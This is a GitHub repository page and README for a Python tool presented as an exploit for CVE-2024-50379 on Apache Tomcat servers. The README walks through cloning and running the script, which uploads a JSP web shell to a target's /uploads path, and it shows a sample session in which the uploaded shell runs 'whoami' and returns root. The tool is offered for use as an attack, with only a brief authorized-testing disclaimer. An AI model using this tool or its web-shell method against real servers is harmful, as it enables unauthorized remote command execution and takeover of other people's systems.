https://github.com/pwnosec/cve-2024-50379
ExploitDB CVE-2024-50379 a vulnerability that enables attackers to upload a JSP shell to a vulnerable server and execute commands remotely. The exploit is especially effective when the /uploads directory is either unprotected or missing on the target server.
https://github.com/pwnosec/cve-2024-50379
apache-tomcat apache-tomcat-exploiter cve-2024-50379
Last synced: 2 months ago
JSON representation
ExploitDB CVE-2024-50379 a vulnerability that enables attackers to upload a JSP shell to a vulnerable server and execute commands remotely. The exploit is especially effective when the /uploads directory is either unprotected or missing on the target server.
- Host: GitHub
- URL: https://github.com/pwnosec/cve-2024-50379
- Owner: pwnosec
- License: mit
- Created: 2025-01-23T10:28:40.000Z (4 months ago)
- Default Branch: main
- Last Pushed: 2025-01-23T11:40:26.000Z (4 months ago)
- Last Synced: 2025-01-23T12:27:27.521Z (4 months ago)
- Topics: apache-tomcat, apache-tomcat-exploiter, cve-2024-50379
- Language: Python
- Homepage: http://ApacheTomcat
- Size: 2.93 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# CVE-2024-50379-Exploit
This repository provides a Python script for exploiting **CVE-2024-50379**, a vulnerability that enables attackers to upload a JSP shell to a compromised server, granting them the ability to run arbitrary commands remotely. This exploit is particularly effective if the `/uploads` directory is missing or lacks proper security on the target server.
---
## Summary
The **CVE-2024-50379** vulnerability affects web servers that mishandle file uploads, allowing malicious users to upload JSP shells that can execute commands remotely. The included Python script automates this exploit by uploading a shell to the vulnerable server and facilitating remote command execution through a terminal interface.
---
## Requirements
Before running the script, make sure you have the following:
- Python 3.6+ (Recommended)
- `requests` library. You can install it via pip:
```bash
pip install requests
```
## Target Systems
This exploit works against servers such as Apache Tomcat or similar, where the file upload functionality is insecure or the `/uploads` directory is misconfigured.
> Warning: This tool should only be used in environments where you have explicit permission, such as during authorized penetration testing or for educational purposes. Unauthorized use is illegal and unethical.## Instructions
### Step 1: Clone the repository
Clone the repository to your local machine:
```
git clone https://github.com/pwnosec/CVE-2024-50379.git
cd CVE-2024-50379
```
Install the necessary Python libraries:
```
pip install requests
```
Execute the script with:
```
python exploit.py
```
## Input the base URL
When prompted, enter the base URL of the vulnerable server (e.g., `http://localhost:8080`). If you omit `http://` or `https://`, it will automatically prepend `http://` to the URL.## Upload the shell and run commands
Once the JSP shell is uploaded successfully, you can input commands to execute remotely. The tool will display the output.
```bash
[+] Enter the base URL (e.g., localhost:8080): http://127.0.0.1:8080
[+] Verifying server availability...
[+] /uploads directory not found (404), continuing upload attempt...
[+] Attempt 1/3 to upload the shell...
[+] Shell uploaded successfully! You can access it at: http://127.0.0.1:8080/uploads/shell.jsp
[+] Enter a command to run on the server (or 'exit' to quit): whoami
[+] Running command: whoami
[+] Command output:
root
```
Type `exit` to terminate the tool after your session is complete.